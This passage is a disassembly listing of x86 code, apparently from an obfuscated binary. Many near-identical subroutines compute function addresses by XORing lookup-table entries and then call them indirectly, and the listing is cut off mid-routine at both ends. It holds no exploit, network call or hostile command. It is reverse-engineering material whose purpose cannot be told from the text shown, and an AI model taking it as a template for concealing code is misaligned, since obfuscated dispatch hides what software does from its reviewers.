		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B1477	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B1574	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBCCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 97h
		mov	[ebp+var_2C], 2Eh
		mov	[ebp+var_28], 0FBh
		mov	[ebp+var_24], 0B7h
		mov	[ebp+var_20], 0B3h
		mov	[ebp+var_1C], 6Bh
		mov	[ebp+var_18], 2Dh
		mov	[ebp+var_14], 71h
		mov	[ebp+var_10], 7
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 7
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B1605
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B1605:				; CODE XREF: sub_4B1574+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B1574	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B1671	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBD0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 9Dh
		mov	[ebp+var_2C], 0B8h
		mov	[ebp+var_28], 5Bh
		mov	[ebp+var_24], 0EEh
		mov	[ebp+var_20], 1Ch
		mov	[ebp+var_1C], 0D2h
		mov	[ebp+var_18], 8Bh
		mov	[ebp+var_14], 0ABh
		mov	[ebp+var_10], 0
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B16FF
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B16FF:				; CODE XREF: sub_4B1671+7Bj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B1671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B176B	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBD4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0Ch
		mov	[ebp+var_2C], 37h
		mov	[ebp+var_28], 0D2h
		mov	[ebp+var_24], 0E1h
		mov	[ebp+var_20], 0BBh
		mov	[ebp+var_1C], 0E8h
		mov	[ebp+var_18], 7Eh
		mov	[ebp+var_14], 4Bh
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B17FC
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B17FC:				; CODE XREF: sub_4B176B+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B176B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B1868	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBD8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0E3h
		mov	[ebp+var_2C], 31h
		mov	[ebp+var_28], 0DEh
		mov	[ebp+var_24], 5
		mov	[ebp+var_20], 41h
		mov	[ebp+var_1C], 6Dh
		mov	[ebp+var_18], 0DCh
		mov	[ebp+var_14], 4Eh
		mov	[ebp+var_10], 0Dh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Dh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B18F9
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B18F9:				; CODE XREF: sub_4B1868+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B1868	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B1965	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBDCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0E3h
		mov	[ebp+var_2C], 6Ch
		mov	[ebp+var_28], 0D1h
		mov	[ebp+var_24], 0C4h
		mov	[ebp+var_20], 9Ch
		mov	[ebp+var_1C], 7Dh
		mov	[ebp+var_18], 21h
		mov	[ebp+var_14], 41h
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B19F6
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B19F6:				; CODE XREF: sub_4B1965+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B1965	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B1A62	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBE0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0EFh
		mov	[ebp+var_2C], 62h
		mov	[ebp+var_28], 0FBh
		mov	[ebp+var_24], 0A4h
		mov	[ebp+var_20], 0E9h
		mov	[ebp+var_1C], 45h
		mov	[ebp+var_18], 0C6h
		mov	[ebp+var_14], 61h
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B1AF3
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B1AF3:				; CODE XREF: sub_4B1A62+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B1A62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B1B5F	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBE4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0DAh
		mov	[ebp+var_2C], 0AEh
		mov	[ebp+var_28], 0ABh
		mov	[ebp+var_24], 6Fh
		mov	[ebp+var_20], 1Bh
		mov	[ebp+var_1C], 8
		mov	[ebp+var_18], 1Bh
		mov	[ebp+var_14], 5Dh
		mov	[ebp+var_10], 6
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 6
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B1BF0
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B1BF0:				; CODE XREF: sub_4B1B5F+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B1B5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B1C5C	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBE8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 15h
		mov	[ebp+var_2C], 50h
		mov	[ebp+var_28], 2Ah
		mov	[ebp+var_24], 10h
		mov	[ebp+var_20], 0D3h
		mov	[ebp+var_1C], 6
		mov	[ebp+var_18], 32h
		mov	[ebp+var_14], 0F1h
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B1CED
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B1CED:				; CODE XREF: sub_4B1C5C+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B1C5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B1D59	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBECo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 5Ah
		mov	[ebp+var_2C], 1Fh
		mov	[ebp+var_28], 0E2h
		mov	[ebp+var_24], 79h
		mov	[ebp+var_20], 66h
		mov	[ebp+var_1C], 9Fh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_14], 37h
		mov	[ebp+var_10], 6
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 6
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B1DEA
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B1DEA:				; CODE XREF: sub_4B1D59+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B1D59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B1E56	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBF0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0DFh
		mov	[ebp+var_2C], 67h
		mov	[ebp+var_28], 0Ah
		mov	[ebp+var_24], 7Ch
		mov	[ebp+var_20], 0D2h
		mov	[ebp+var_1C], 0Bh
		mov	[ebp+var_18], 4Fh
		mov	[ebp+var_14], 0AEh
		mov	[ebp+var_10], 11h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 11h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B1EE7
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B1EE7:				; CODE XREF: sub_4B1E56+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B1E56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B1F53	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBF4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0Ch
		mov	[ebp+var_2C], 1Ch
		mov	[ebp+var_28], 0A2h
		mov	[ebp+var_24], 0DEh
